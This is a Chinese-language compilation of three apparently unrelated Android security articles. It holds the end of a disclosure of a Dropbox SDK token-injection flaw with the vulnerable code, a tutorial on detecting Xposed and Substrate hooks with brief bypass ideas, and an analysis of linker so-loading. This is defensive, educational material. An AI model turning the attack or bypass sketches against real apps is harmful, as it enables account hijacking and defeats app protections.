该过程可遭受如下的攻击。在第一步之前,攻击者可以利用漏洞注入自己的token。用户接着同步自己的账户,正常情况下他将被引到Dropbox的官网,然而第三步在可以在未经用户同意的情况下在后台发生,authentication方法将调用成功,攻击者的token被拷贝到session对象,导致第五步的isLinked方法返回true。因此,即使用户输入的是自己的认证凭据,却使用了攻击者的token,使攻击无缝发生。
7.3 DBRoulette: 注入并再次连接
DBRoulette app与Dropbox SDK打包在一起,作为一个示例应用。它是一个具有基本功能的app,对用户进行认证,并从用户的Dropbox照片文件夹中随机加载一张照片。在主activity DBRoulette中,onResume方法只是简单的覆盖预先存储的认证凭据,这意味着即使Dropbox账号已经连接到DBRoulette,攻击者的账号仍然可以使用。此外,DBRoulette调用Dropbox SDK认证方法的代码位于一个导出的activity中,攻击者可以启动该activity,从而实施完全自动化的攻击。图7.1描述了一次成功的攻击,攻击者账号中的本文作者手指照片,而非受害用户自己的照片,出现在DBRoulette中。 图7.1 被攻击的DBRoulette

修复

Android Dropbox SDK 1.6.2版已经发布,包含了对该漏洞的修补。Dropbox SDK的AuthActivity方法也不再接受输入Intent的extra参数,这就使攻击者无法通过可控的Dropbox SDK通信的服务器地址来获得nonce。强烈建议开发者将其使用的Dropbox SDK更新到最新版本。为了避免没有更新SDK的app被该漏洞利用,终端用户可以安装Dropbox app使攻击失效。

披露时间

2014.12.1 - 漏洞报告给厂商。 2014.12.1 - 厂商确认,开始编写补丁。 2014.12.5 - 补丁可用(Android Dropbox SDK 1.6.2版) 2015.3.11 - 公开披露。

致谢

Dropbox对安全威胁的响应令人印象深刻,我们向Dropbox报告了该问题,仅仅在6分钟后就得到了回应,24小时之内漏洞得到了确认,4天后补丁可用。我们感谢Dropbox团队,这是我们所见到过的最快补丁,无疑他们对于用户的安全是负责任的。

参考文献

1.AppBrain. Dropbox API - Android library statistics. http://www.appbrain.com/stats/libraries/ details/dropbox_api/dropbox-api. 2.Takeshi Terada. Attacking Android browsers via intent scheme URLs. 2014. http://www.mbsd.jp/ Whitepaper/IntentScheme.pdf. 3.Roee Hay & David Kaplan. Remote exploitation of the cordova framework. 2014. http://www. slideshare.net/ibmsecurity/remote-exploitation-of-the-cordova-framework. 4.Android. Activity. http://developer.android.com/reference/android/app/Activity.html. 5.Trustwave. 2014 business password analysis, 2014. https://gsr.trustwave.com/topics/ business-password-analysis/2014-business-password-analysis/.

附录

附录A:具有漏洞的Dropbox SDK 代码 code:
protected void onCreate(Bundle savedInstanceState) { ... Intent intent = getIntent(); ... webHost = intent.getStringExtra(EXTRA\_INTERNAL\_WEB\_HOST); if (null == webHost) { webHost = DEFAULT\_WEB_HOST; } ... } protected void onResume() { ... String state = createStateNonce(); ... if (hasDropboxApp(officialIntent)) { startActivity(officialIntent); } else { startWebAuth(state); } ... authStateNonce = state; } private void startWebAuth(String state) { String path = "/connect"; Locale locale = Locale.getDefault(); String
params = { "locale", locale.getLanguage()+"_"+locale.getCountry(), "k", appKey, "s", getConsumerSig(), "api", apiType, "state", state}; String url = RESTUtility.buildURL(webHost, DropboxAPI.VERSION, path, params); Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); startActivity(intent); }

前言

一个最近关于检测native hook框架的方法让我开始思考一个Android应用如何在Java层检测Cydia Substrate或者Xposed框架。
声明: 下文所有的anti-hooking技巧很容易就可以被有经验的逆向人员绕过,这里只是展示几个检测的方法。在最近DexGuard和GuardIT等工具中还没有这类anti-hooking检测功能,不过我相信不久就会增加这个功能。

检测安装的应用

一个最直接的想法就是检测设备上有没有安装Substrate或者Xposed框架,可以直接调用PackageManager显示所有安装的应用,然后看是否安装了Substrate或者Xposed。
#!java PackageManager packageManager = context.getPackageManager(); List applicationInfoList = packageManager.getInstalledApplications(PackageManager.GET_META_DATA); for(ApplicationInfo applicationInfo : applicationInfoList) { if(applicationInfo.packageName.equals("de.robv.android.xposed.installer")) { Log.wtf("HookDetection", "Xposed found on the system."); } if(applicationInfo.packageName.equals("com.saurik.substrate")) { Log.wtf("HookDetection", "Substrate found on the system."); } }

检查调用栈里的可疑方法

另一个想到的方法是检查Java调用栈里的可疑方法,主动抛出一个异常,然后打印方法的调用栈。代码如下:
#!java public class DoStuff { public static String getSecret() { try { throw new Exception("blah"); } catch(Exception e) { for(StackTraceElement stackTraceElement : e.getStackTrace()) { Log.wtf("HookDetection", stackTraceElement.getClassName() + "->" + stackTraceElement.getMethodName()); } } return "ChangeMePls!!!"; } }
当应用没有被hook的时候,正常的调用栈是这样的:
#!bash com.example.hookdetection.DoStuff->getSecret com.example.hookdetection.MainActivity->onCreate android.app.Activity->performCreate android.app.Instrumentation->callActivityOnCreate android.app.ActivityThread->performLaunchActivity android.app.ActivityThread->handleLaunchActivity android.app.ActivityThread->access$800 android.app.ActivityThread$H->handleMessage android.os.Handler->dispatchMessage android.os.Looper->loop android.app.ActivityThread->main java.lang.reflect.Method->invokeNative java.lang.reflect.Method->invoke com.android.internal.os.ZygoteInit$MethodAndArgsCaller->run com.android.internal.os.ZygoteInit->main dalvik.system.NativeStart->main
但是假如有Xposed框架hook了com.example.hookdetection.DoStuff.getSecret方法,那么调用栈会有2个变化:
- 在dalvik.system.NativeStart.main方法后出现de.robv.android.xposed.XposedBridge.main调用 如果Xposed hook了调用栈里的一个方法,还会有de.robv.android.xposed.XposedBridge.handleHookedMethod 和de.robv.android.xposed.XposedBridge.invokeOriginalMethodNative调用
所以如果hook了getSecret方法,调用栈就会如下:
#!bash com.example.hookdetection.DoStuff->getSecret de.robv.android.xposed.XposedBridge->invokeOriginalMethodNative de.robv.android.xposed.XposedBridge->handleHookedMethod com.example.hookdetection.DoStuff->getSecret com.example.hookdetection.MainActivity->onCreate android.app.Activity->performCreate android.app.Instrumentation->callActivityOnCreate android.app.ActivityThread->performLaunchActivity android.app.ActivityThread->handleLaunchActivity android.app.ActivityThread->access$800 android.app.ActivityThread$H->handleMessage android.os.Handler->dispatchMessage android.os.Looper->loop android.app.ActivityThread->main java.lang.reflect.Method->invokeNative java.lang.reflect.Method->invoke com.android.internal.os.ZygoteInit$MethodAndArgsCaller->run com.android.internal.os.ZygoteInit->main de.robv.android.xposed.XposedBridge->main dalvik.system.NativeStart->main
下面看下Substrate hook com.example.hookdetection.DoStuff.getSecret方法后,调用栈会有什么变化: dalvik.system.NativeStart.main调用后会出现2次com.android.internal.os.ZygoteInit.main,而不是一次。 如果Substrate hook了调用栈里的一个方法,还会出现com.saurik.substrate.MS$2.invoked,com.saurik.substrate.MS$MethodPointer.invoke还有跟Substrate扩展相关的方法(这里是com.cigital.freak.Freak$1$1.invoked)。 所以如果hook了getSecret方法,调用栈就会如下:
#!bash com.example.hookdetection.DoStuff->getSecret com.saurik.substrate._MS$MethodPointer->invoke com.saurik.substrate.MS$MethodPointer->invoke com.cigital.freak.Freak$1$1->invoked com.saurik.substrate.MS$2->invoked com.example.hookdetection.DoStuff->getSecret com.example.hookdetection.MainActivity->onCreate android.app.Activity->performCreate android.app.Instrumentation->callActivityOnCreate android.app.ActivityThread->performLaunchActivity android.app.ActivityThread->handleLaunchActivity android.app.ActivityThread->access$800 android.app.ActivityThread$H->handleMessage android.os.Handler->dispatchMessage android.os.Looper->loop android.app.ActivityThread->main java.lang.reflect.Method->invokeNative java.lang.reflect.Method->invoke com.android.internal.os.ZygoteInit$MethodAndArgsCaller->run com.android.internal.os.ZygoteInit->main com.android.internal.os.ZygoteInit->main dalvik.system.NativeStart->main
在知道了调用栈的变化之后,就可以在Java层写代码进行检测:
#!java try { throw new Exception("blah"); } catch(Exception e) { int zygoteInitCallCount = 0; for(StackTraceElement stackTraceElement : e.getStackTrace()) { if(stackTraceElement.getClassName().equals("com.android.internal.os.ZygoteInit")) { zygoteInitCallCount++; if(zygoteInitCallCount == 2) { Log.wtf("HookDetection", "Substrate is active on the device."); } } if(stackTraceElement.getClassName().equals("com.saurik.substrate.MS$2") && stackTraceElement.getMethodName().equals("invoked")) { Log.wtf("HookDetection", "A method on the stack trace has been hooked using Substrate."); } if(stackTraceElement.getClassName().equals("de.robv.android.xposed.XposedBridge") && stackTraceElement.getMethodName().equals("main")) { Log.wtf("HookDetection", "Xposed is active on the device."); } if(stackTraceElement.getClassName().equals("de.robv.android.xposed.XposedBridge") && stackTraceElement.getMethodName().equals("handleHookedMethod")) { Log.wtf("HookDetection", "A method on the stack trace has been hooked using Xposed."); } } }

检测并不应该native的native方法

Xposed框架会把hook的Java方法类型改为"native",然后把原来的方法替换成自己的代码(调用hookedMethodCallback)。可以查看XposedBridge_hookMethodNative的实现,是修改后app_process里的方法。 利用Xposed改变hook方法的这个特性(Substrate也使用类似的原理),就可以用来检测是否被hook了。注意这不能用来检测ART运行时的Xposed,因为没必要把方法的类型改为native。 假设有下面这个方法:
#!java public class DoStuff { public static String getSecret() { return "ChangeMePls!!!"; } }
如果getSecret方法被hook了,在运行的时候就会像下面的定义:
#!java public class DoStuff { // calls hookedMethodCallback if hooked using Xposed public native static String getSecret(); }
基于上面的原理,检测的步骤如下:
- 定位到应用的DEX文件 枚举所有的class 通过反射机制判断运行时不应该是native的方法
下面的Java展示了这个技巧。这里假设了应用本身没有通过JNI调用本地代码,大多数应用都不需要调用本地方法。不过如果有JNI调用的话,只需要把这些native方法添加到一个白名单中即可。理论上这个方法也可以用于检测Java库或者第三方库,不过需要把第三方库的native方法添加到一个白名单。检测代码如下:
#!java for (ApplicationInfo applicationInfo : applicationInfoList) { if (applicationInfo.processName.equals("com.example.hookdetection")) { Set classes = new HashSet(); DexFile dex; try { dex = new DexFile(applicationInfo.sourceDir); Enumeration entries = dex.entries(); while(entries.hasMoreElements()) { String entry = entries.nextElement(); classes.add(entry); } dex.close(); } catch (IOException e) { Log.e("HookDetection", e.toString()); } for(String className : classes) { if(className.startsWith("com.example.hookdetection")) { try { Class clazz = HookDetection.class.forName(className); for(Method method : clazz.getDeclaredMethods()) { if(Modifier.isNative(method.getModifiers())){ Log.wtf("HookDetection", "Native function found (could be hooked by Substrate or Xposed): " + clazz.getCanonicalName() + "->" + method.getName()); } } } catch(ClassNotFoundException e) { Log.wtf("HookDetection", e.toString()); } } } } }

通过/proc/
/maps检测可疑的共享对象或者JAR

/proc/
/maps记录了内存映射的区域和访问权限,首先查看Android应用的映像,第一列是起始地址和结束地址,第六列是映射文件的路径。
#!bash #cat /proc/5584/maps 40027000-4002c000 r-xp 00000000 103:06 2114 /system/bin/app_process 4002c000-4002d000 r--p 00004000 103:06 2114 /system/bin/app_process 4002d000-4002e000 rw-p 00005000 103:06 2114 /system/bin/app_process 4002e000-4003d000 r-xp 00000000 103:06 246 /system/bin/linker 4003d000-4003e000 r--p 0000e000 103:06 246 /system/bin/linker 4003e000-4003f000 rw-p 0000f000 103:06 246 /system/bin/linker 4003f000-40042000 rw-p 00000000 00:00 0 40042000-40043000 r--p 00000000 00:00 0 40043000-40044000 rw-p 00000000 00:00 0 40044000-40047000 r-xp 00000000 103:06 1176 /system/lib/libNimsWrap.so 40047000-40048000 r--p 00002000 103:06 1176 /system/lib/libNimsWrap.so 40048000-40049000 rw-p 00003000 103:06 1176 /system/lib/libNimsWrap.so 40049000-40091000 r-xp 00000000 103:06 1237 /system/lib/libc.so ... Lots of other memory regions here ...
因此可以写代码检测加载到当前内存区域中的可疑文件:
#!java try { Set libraries = new HashSet(); String mapsFilename = "/proc/" + android.os.Process.myPid() + "/maps"; BufferedReader reader = new BufferedReader(new FileReader(mapsFilename)); String line; while((line = reader.readLine()) != null) { if (line.endsWith(".so") || line.endsWith(".jar")) { int n = line.lastIndexOf(" "); libraries.add(line.substring(n + 1)); } } for (String library : libraries) { if(library.contains("com.saurik.substrate")) { Log.wtf("HookDetection", "Substrate shared object found: " + library); } if(library.contains("XposedBridge.jar")) { Log.wtf("HookDetection", "Xposed JAR found: " + library); } } reader.close(); } catch (Exception e) { Log.wtf("HookDetection", e.toString()); }
Substrate会用到几个so:
#!bash Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libAndroidBootstrap0.so Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libAndroidCydia.cy.so Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libDalvikLoader.cy.so Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libsubstrate.so Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libsubstrate-dvm.so Substrate shared object found: /data/app-lib/com.saurik.substrate-1/libAndroidLoader.so
Xposed会用到一个Jar:
#!bash Xposed JAR found: /data/data/de.robv.android.xposed.installer/bin/XposedBridge.jar

绕过检测的方法

上面讨论了几个anti-hooking的方法,不过相信也会有人提出绕过的方法,这里对应每个检测方法如下:
1 hook PackageManager的getInstalledApplications,把Xposed或者Substrate的包名去掉 hook Exception的getStackTrace,把自己的方法去掉 hook getModifiers,把flag改成看起来不是native hook 打开的文件的操作,返回/dev/null或者修改的map文件

知识预备

Linker是Android系统动态库so的加载器/链接器,要想轻松地理解Android linker的运行机制,我们需要先熟悉ELF的文件结构,再了解ELF文件的装入/启动,最后学习Linker的加载和启动原理。 鉴于ELF文件结构网上有很多资料,这里就不做累述了。

so的加载和启动

我们知道如果一个APP需要使用某一共享库so的话,它会在JAVA层声明代码:
#!java Static{ System.loadLibrary(“name”); }
此代码完成library的加载工作。翻看system.loadLibrary的源代码,可以发现: System.loadLibrary也是一个native方法,它的调用的过程是:
#!cpp Dalvik/vm/native/java_lang_Runtime.cpp: Dalvik_java_lang_Runtime_nativeLoad ->Dalvik/vm/Native.cpp:dvmLoadNativeCode dvmLoadNativeCode
打开函数dvmLoadNativeCode,可以找到以下代码:
#!bash …….. handle = dlopen(pathName, RTLD_LAZY); //获得指定库文件的句柄,这个handle是soinfo* //这个库文件就是System.loadLibrary(pathName)传递的参数 ….. vonLoad = dlsym(handle, "JNI_OnLoad"); //获取该文件的JNI_OnLoad函数的地址 if (vonLoad == NULL) { //如果找不到JNI_OnLoad,就说明这是用javah风格的代码了,那么就推迟解析 LOGD("No JNI_OnLoad found in %s %p, skipping init",pathName, classLoader); //这句话我们在logcat中经常看见! }else{ …. }
从上面的代码可以看出Android系统加载共享库的关键代码为dlopen函数。这个dlopen函数的代码在bionic/linker/dlfcn.c中:
#!cpp void* dlopen(const char* filename, int flags) { ScopedPthreadMutexLocker locker(&gDlMutex); soinfo* result = do_dlopen(filename, flags); if (result == NULL) { __bionic_format_dlerror("dlopen failed", linker_get_error_buffer()); return NULL; } return result; }
此函数主要通过调用do_dlopen函数来返回一个动态链接库的句柄,该句柄为一个soinfo结构体。Soinfo结构体的具体定义在bionic/linker/linker.h中。 继续查看do_dlopen函数,代码在linker.cpp中:
#!cpp soinfo* do_dlopen(const char* name, int flags) { if ((flags & ~(RTLD_NOW|RTLD_LAZY|RTLD_LOCAL|RTLD_GLOBAL)) != 0) { DL_ERR("invalid flags to dlopen: %x", flags); return NULL; } set_soinfo_pool_protection(PROT_READ | PROT_WRITE); soinfo* si = find_library(name); //查找动态链接库 if (si != NULL) { si->CallConstructors(); } set_soinfo_pool_protection(PROT_READ); return si; }
显然,重点在find_library函数。此函数代码如下:
#!cpp static soinfo* find_library(const char* name) { soinfo* si = find_library_internal(name); if (si != NULL) { si->ref_count++; } return si; }
继续往下深入:
#!cpp static soinfo* find_library_internal(const char* name) { …….. soinfo* si = find_loaded_library(name); //首先查看这个so是否已经加载,如果已经加载,就返回该so的soinfo if (si != NULL) { if (si->flags & FLAG_LINKED) { return si; } DL_ERR("OOPS: recursive link to \"%s\"", si->name); return NULL; } TRACE("
", name); si = load_library(name); //说明该so没有被加载,就调用此函数进行加载 if (si == NULL) { return NULL; } // At this point we know that whatever is loaded @ base is a valid ELF // shared library whose segments are properly mapped in. TRACE("
", reinterpret_cast(si->base), si->size, si->name); if (!soinfo_link_image(si)) { //加载完so后,根据si的反馈进行链接。会在第3节进行详细分析 munmap(reinterpret_cast(si->base), si->size); soinfo_free(si); return NULL; } return si; }
先不去关心那些错误处理信息,我们假设各个函数的返回值均在预期范围内,这个函数的执行流程为:
1 使用find_loaded_library函数在已经加载的动态链接库链表里面查找该动态库。如果找到了,就返回该动态库的soinfo,否则执行第②步; 此时,说明指定的动态链接库还没有被加载,就使用load_library函数来加载该动态库。
load_library函数是整个so加载过程的重中之重!它创建了动态链接库的句柄,代码如下:
#!cpp static soinfo* load_library(const char* name) { // Open the file. int fd = open_library(name); if (fd == -1) { DL_ERR("library \"%s\" not found", name); return NULL; } // Read the ELF header and load the segments. ElfReader elf_reader(name, fd); if (!elf_reader.Load()) { return NULL; } const char* bname = strrchr(name, '/'); soinfo* si = soinfo_alloc(bname ? bname + 1 : name); if (si == NULL) { return NULL; } si->base = elf_reader.load_start(); si->size = elf_reader.load_size(); si->load_bias = elf_reader.load_bias(); si->flags = 0; si->entry = 0; //入口函数设为null si->dynamic = NULL; si->phnum = elf_reader.phdr_count(); si->phdr = elf_reader.loaded_phdr(); return si; }
load_library函数的执行过程可以概括如下:
1 使用open_library函数打开指定so文件; 创建ElfReader类对象,并通过该对象的load方法,读取Elf文件头,然后通过分析Elf文件来加载各个segments; 使用soinfo_alloc函数分配一个soinfo结构体,并为这个结构体中的各个成员赋值。
下面对步骤二加以详细介绍。
1.1 SO文件的读取与加载工作
Linker使用ElfRead类的load函数完成so文件的分析工作。该类的源代码在linker_phdr.cpp中。Load函数代码如下:
#!cpp bool ElfReader::Load() { return ReadElfHeader() && VerifyElfHeader() && ReadProgramHeader() && ReserveAddressSpace() && LoadSegments() && FindPhdr(); }
显然此函数依次调用ReadElfHeader、ReadProgramHeader等函数。 首先,我们需要知道Android系统加载segments的机制: 一个ELF文件的程序头表包含一个或多个PT_LOAD segments,这些segments标志ELF文件中需要被映射到进程空间的区域。每一个可以加载的segment都含有如下重要属性:
- p_offset: 段在文件的偏移地址 p_filesz:段的大小 p_memsz:段在内存中占据的大小(通常大于p_filesz)。 p_vaddr: 段的虚拟地址 p_flags:段的标记(可读,可写,可执行)
当前,我们忽略p_paddr和p_align成员。 可以加载的segments能在虚拟地址范围
1 各个segments的虚拟地址范围不可重叠; 如果一个segment的p_filesz小于p_memsz,那么两者之间的额外数据将被初始化为0; segment的虚拟地址范围的起、始地址不是必须在某一页的边界。两个不同的segments的起、始地址可以在同一页,在这种情况,该页继承后一segment的映射标记(mapping flags) 每一个segment实际加载的地址并非p_vaddr。而是由加载器决定将第一个segment加载到内存中的哪个位置,然后剩下的segments就以第一个segment为参照物,进行加载。比如:
下面是两个loadable segments的信息:
#!bash
,
,
相当于这两个segments的虚拟地址范围分别为:
#!bash 0x30000...0x34000 0x40000...0x48000
如果加载器决定将第一个segment加载到0xa0000000的话(通过后面的分析会知道,这个加载地址是在加载程序头部表的时候由系统确定的),那么它们的实际虚拟地址范围就是:
#!bash 0xa0030000...0xa0034000 0xa0040000...0xa0048000
换句话说,所有的segments的实际加载开始地址与其vaddr的偏差值是固定的(0xa0030000 – 0x30000 = 0xa0040000 – 0x40000)。 但是,在实际情况下,segments的地址并不是在每一页的边界出开始的。考虑到我们只能在页面边界进行内存映射,因此,这就意味着加载地址的偏差bias应当按照如下方法进行计算:
#!bash load_bias = phdr0_load_address - PAGE_START(phdr0->p_vaddr) (#define PAGE_START(x) ((x) & PAGE_MASK) PAGE_MASK的值一般为0xfffff000。)
所以第一个segment的load_bias = 0xa0030000 – 0x30000&0xfffff000 = 0xa00000000。 这里phdr0_load_address必须以某一页的边界为起始地址,所以该segments的真正内容的开始地址为:
#!bash phdr0_load_address + PAGE_OFFSET(phdr0->p_vaddr) (#define PAGE_OFFSET(x) ((x) & ~PAGE_MASK) 就是x & 0xfff)

注意:ELF要求如下条件,以满足mmap正常工作:

#!bash PAGE_OFFSET(phdr0->p_vaddr) == PAGE_OFFSET(phdr0->p_offset)
每一个loadable segments的p_vaddr都必须加上load_bias,其和就是该segments在内存中的实际开始地址。
1.1.1 ReadProgramHeader
理清了Android加载segments的机制,我们就来看linker中的实际代码,先看ReadProgramHeader:
#!cpp bool ElfReader::ReadProgramHeader() { phdr_num_ = header_.e_phnum; …….. ElfW(Addr) page_min = PAGE_START(header_.e_phoff); ElfW(Addr) page_max = PAGE_END(header_.e_phoff + (phdr_num_ * sizeof(ElfW(Phdr)))); ElfW(Addr) page_offset = PAGE_OFFSET(header_.e_phoff); phdr_size_ = page_max - page_min; void* mmap_result = mmap(NULL, phdr_size_, PROT_READ, MAP_PRIVATE, fd_, page_min); …….. phdr_mmap_ = mmap_result; phdr_table_ = reinterpret_cast(reinterpret_cast(mmap_result) + page_offset); return true; }

1 首先读取elf文件的程序头部表项数目phdr_num; 然后分别获取程序头部表在页边界对齐后的起始地址page_min、结束地址page_max和偏移地址page_offset。并根据page_max与page_start计算出程序头部表占据的页面大小phdr_size; 再以只读模式建立一个私有映射,该映射将elf文件中偏移值为page_min,大小为phdr_size的区域映射到内存中。将映射后的内存地址赋给phdr_mmap_,简单一句话:将程序头部表映射到内存中,并将内存地址赋值; reinterpret_cast(expression),这是c++中的强制类型转换符,类似于(new_type*)(expression)。这里我们对上面红色部分代码加以解释:
(注:红色代码为倒数第三句) 首先reinterpret_cast(mmap_result):经void*型指针mmap_result强制转换成char*型; 然后reinterpret_cast(mmap_result) + page_offset:char*型指针+page_offset,表示指向程序头部表真正开始的地方; 最后再将其转换成ElfW(Phdr)*型指针,显然phdr_table_指向程序头部表开始地址。
1.1.2 ReserveAddressSpace
再来看ReserveAddressSpace:
#!cpp /*预备一块足够大的虚拟地址范围,用来加载所有可加载的segments.我们可以通过mmap创建一个带有PROT_NONE属性的私有匿名内存映射。PROT_NONE表示页不可访问,匿名映射表示映射区不与任何文件关联(要求fd为-1),私有映射表示对该映射区域的写入操作会产生一个映射文件的复制,对此区域做的任何修改够不会写会原来的文件*/ bool ElfReader::ReserveAddressSpace() { ElfW(Addr) min_vaddr; load_size_ = phdr_table_get_load_size(phdr_table_, phdr_num_, &min_vaddr); …….. uint8_t* addr = reinterpret_cast(min_vaddr); int mmap_flags = MAP_PRIVATE | MAP_ANONYMOUS; void* start = mmap(addr, load_size_, PROT_NONE, mmap_flags, -1, 0); …….. load_start_ = start; load_bias_ = reinterpret_cast(start) - addr; return true; }
这里有一个关键函数phdr_table_get_load_siz:
#!cpp /*返回ELF文件程序头部表中所指定的所有可加载segments(这些segments可能是非连续的)的区间大小,如果没有可加载的segments,就返回0 如果out_min_vaddr 或 out_max_vadd是非空的,它们就会被设置成将被存储的页的最小/大地址(如果没有可加载segments的话,就设为0) */ size_t phdr_table_get_load_size(const ElfW(Phdr)* phdr_table, size_t phdr_count, ElfW(Addr)* out_min_vaddr, ElfW(Addr)* out_max_vaddr) { ElfW(Addr) min_vaddr = UINTPTR_MAX; ElfW(Addr) max_vaddr = 0; bool found_pt_load = false; for (size_t i = 0; i < phdr_count; ++i) { const ElfW(Phdr)* phdr = &phdr_table
; if (phdr->p_type != PT_LOAD) { continue; } found_pt_load = true; if (phdr->p_vaddr < min_vaddr) { min_vaddr = phdr->p_vaddr; } if (phdr->p_vaddr + phdr->p_memsz > max_vaddr) { max_vaddr = phdr->p_vaddr + phdr->p_memsz; } } if (!found_pt_load) { min_vaddr = 0; } min_vaddr = PAGE_START(min_vaddr); max_vaddr = PAGE_END(max_vaddr); if (out_min_vaddr != NULL) { *out_min_vaddr = min_vaddr; } if (out_max_vaddr != NULL) { *out_max_vaddr = max_vaddr; } return max_vaddr - min_vaddr; }
通俗点讲,此函数就是返回ELF文件中包含的可加载segments总共需要占用的空间大小,并设置其最小虚拟地址的值(是页对齐的)。值得注意的是,原函数有4个参数,但是在ReserveAddressSpace中调用该函数时却只传递了3个参数,忽略了out_max_vaddr。在我个人看来是因为已知了out_min_vaddr及两者的差值load_size,所以可以通过out_min_vaddr + load_size来求得out_max_vaddr。 现在回到ReserveAddressSpace函数。求得load_size之后,就需要为这些segments分配足够的内存空间。这里需要注意的是mmap的第一个参数并非为Null,而是addr。这就表示将映射区间的开始地址放在进程的addr地址处(一般不会成功,而是由系统自动分配,所以可以看作是Null),mmap返回实际映射后的内存开始地址start。显然load_bias_ = start – addr就是实际映射内存地址同linker期望的映射地址的误差值。后面的操作中,linker就可以通过p_vaddr + load_bias_来获取某一segments在内存中的开始地址了。
1.1.3 LoadSegments
现在就开始加载ELF文件中的可加载segments了:
#!cpp bool ElfReader::LoadSegments() { for (size_t i = 0; i < phdr_num_; ++i) { const ElfW(Phdr)* phdr = &phdr_table_
; if (phdr->p_type != PT_LOAD) { continue; } // Segment addresses in memory. ElfW(Addr) seg_start = phdr->p_vaddr + load_bias_; ElfW(Addr) seg_end = seg_start + phdr->p_memsz; ElfW(Addr) seg_page_start = PAGE_START(seg_start); ElfW(Addr) seg_page_end = PAGE_END(seg_end); ElfW(Addr) seg_file_end = seg_start + phdr->p_filesz; // File offsets. ElfW(Addr) file_start = phdr->p_offset; ElfW(Addr) file_end = file_start + phdr->p_filesz; ElfW(Addr) file_page_start = PAGE_START(file_start); ElfW(Addr) file_length = file_end - file_page_start; if (file_length != 0) { void* seg_addr = mmap(reinterpret_cast(seg_page_start), file_length, //是以文件大小为参照,而非内存大小 PFLAGS_TO_PROT(phdr->p_flags), MAP_FIXED|MAP_PRIVATE, fd_, file_page_start); if (seg_addr == MAP_FAILED) { DL_ERR("couldn't map \"%s\" segment %zd: %s", name_, i, strerror(errno)); return false; } } /*如果segments可写,并且该segments的实际结束地址不在某一页的边界的话,就将该segments实际结束地址到此页的边界之间的内存全置为0*/ if ((phdr->p_flags & PF_W) != 0 && PAGE_OFFSET(seg_file_end) > 0) { memset(reinterpret_cast(seg_file_end), 0, PAGE_SIZE - PAGE_OFFSET(seg_file_end)); } seg_file_end = PAGE_END(seg_file_end); // seg_file_end is now the first page address after the file // content. If seg_end is larger, we need to zero anything // between them. This is done by using a private anonymous // map for all extra pages. if (seg_page_end > seg_file_end) { void* zeromap = mmap(reinterpret_cast(seg_file_end), seg_page_end - seg_file_end, PFLAGS_TO_PROT(phdr->p_flags), MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); if (zeromap == MAP_FAILED) { DL_ERR("couldn't zero fill \"%s\" gap: %s", name_, strerror(errno)); return false; } } } return true; }
此部分功能很简单:就是将ELF中的可加载segments依次映射到内存中,并进行一些辅助扫尾工作。
1.1.4 FindPhdr
返回程序头部表在内存中地址。这与phdr_table_是不同的,后者是一个临时的、在so被重定位之前会为释放的变量:
#!cpp bool ElfReader::FindPhdr() { const ElfW(Phdr)* phdr_limit = phdr_table_ + phdr_num_; //如果段类型是 PT_PHDR, 那么我们就直接使用该段的地址. for (const ElfW(Phdr)* phdr = phdr_table_; phdr < phdr_limit; ++phdr) { if (phdr->p_type == PT_PHDR) { return CheckPhdr(load_bias_ + phdr->p_vaddr); } } //否则,我们就检查第一个可加载段。如果该段的文件偏移值为0,那么就表示它是以ELF头开始的,我们就可以通过它来找到程序头表加载到内存的地址(虽然过程有点繁琐)。 for (const ElfW(Phdr)* phdr = phdr_table_; phdr < phdr_limit; ++phdr) { if (phdr->p_type == PT_LOAD) { if (phdr->p_offset == 0) { ElfW(Addr) elf_addr = load_bias_ + phdr->p_vaddr; const ElfW(Ehdr)* ehdr = reinterpret_cast(elf_addr); ElfW(Addr) offset = ehdr->e_phoff; return CheckPhdr((ElfW(Addr))ehdr + offset); } break; } } DL_ERR("can't find loaded phdr for \"%s\"", name_); return false; }
要理解这段代码,我们需要知道段类型PT_PHDR所表示的意义:指定程序头表在文件及程序内存映像中的位置和大小。此段类型不能在一个文件中多次出现。此外,仅当程序头表是程序内存映像的一部分时,才可以出现此段。此类型(如果存在)必须位于任何可装入段的各项的前面。有关详细信息,请参见程序的解释程序。
http://docs.oracle.com/cd/E19253-01/819-7050/6n918j8nq/index.html#chapter6-71736
至此so文件的读取、加载工作就分析完毕了。我们可以发现,Android对so的加载操作只是以段为单位,跟section完全没有关系。另外,通过查看VerifyElfHeader的代码,我们还可以发现,Android系统仅仅对ELF文件头的e_ident、e_type、e_version、e_machine进行验证(当然,e_phnum也是不能错的),所以,这就解释了为什么有些加壳so文件头的section相关字段可以任意修改,系统也不会报错了。
1.2 so的链接机制
在1.1我们详细分析了Android so的加载机制,现在就开始分析so的链接机制。在分析linker的关于链接的源代码之前,我们需要学习ELF文件关于动态链接方面的知识。
1.2.1 动态节区
如果一个目标文件参与动态链接,它的程序头部表将包含类型为 PT_DYNAMIC 的元素。此“段”包含.dynamic节区(这个节区是一个数组)。该节区采用一个特殊符号_DYNAMIC来标记,其中包含如下结构的数组:
#!cpp typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn; extern Elf32_Dyn _DYNAMIC
; //注意这里是一个数组 /*注意: 对每个这种类型的对象,d_tag控制d_un的解释含义: d_val 此 Elf32_Word 对象表示一个整数值,可以有多种解释。 d_ptr 此 Elf32_Addr 对象代表程序的虚拟地址。 关于d_tag的值、该值的意义,及其与d_un的关系,可查看ELF.PDF p24。 */
该Elf32_Dyn数组就是soinfo结构体中的dynamic成员,我们在第2节介绍的load_library函数中发现,si->dynamic被赋值为null,这就说明,在加载阶段是不需要此值的,只有在链接阶段才需要。Android的动态库的链接工作还是由linker完成,主要代码就是在linker.cpp的soinfo_link_image(find_library_internal方法中调用)中,此函数的代码相当多,我们来分块分析: 首先,我们需要从程序头部表中获取dynamic节区信息:
#!cpp /*in function soinfo_link_image */ /*抽取动态节区*/ size_t dynamic_count; ElfW(Word) dynamic_flags; /*这里的si->dynamic 为ElfW(Dyn)指针,就是上面提到的Elf32_Dyn _DYNAMIC
*/ phdr_table_get_dynamic_section(phdr, phnum, base, &si->dynamic, &dynamic_count, &dynamic_flags);
此函数很简单:
